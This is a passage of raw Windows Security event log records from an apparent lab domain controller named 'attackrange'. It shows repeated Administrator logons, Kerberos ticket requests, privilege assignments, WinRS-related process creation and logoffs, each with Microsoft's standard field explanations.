			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257725
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53EBEE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257724
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257723
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257722
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257721
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257720
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Process Information:
	New Process ID:		0xd08
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257719
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Windows\System32\dllhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257718
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257717
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257716
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257715
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257714
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257713
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257712
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E17A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257711
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257710
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x534022

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257709
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E17A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257708
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E17A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257707
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257706
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257705
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257704
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E13A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257703
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E13A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257702
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E13A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257701
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257700
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AB2CC643-F2D9-3E3F-FB73-A8450A6F0457}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257699
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257698
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x537C5F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257697
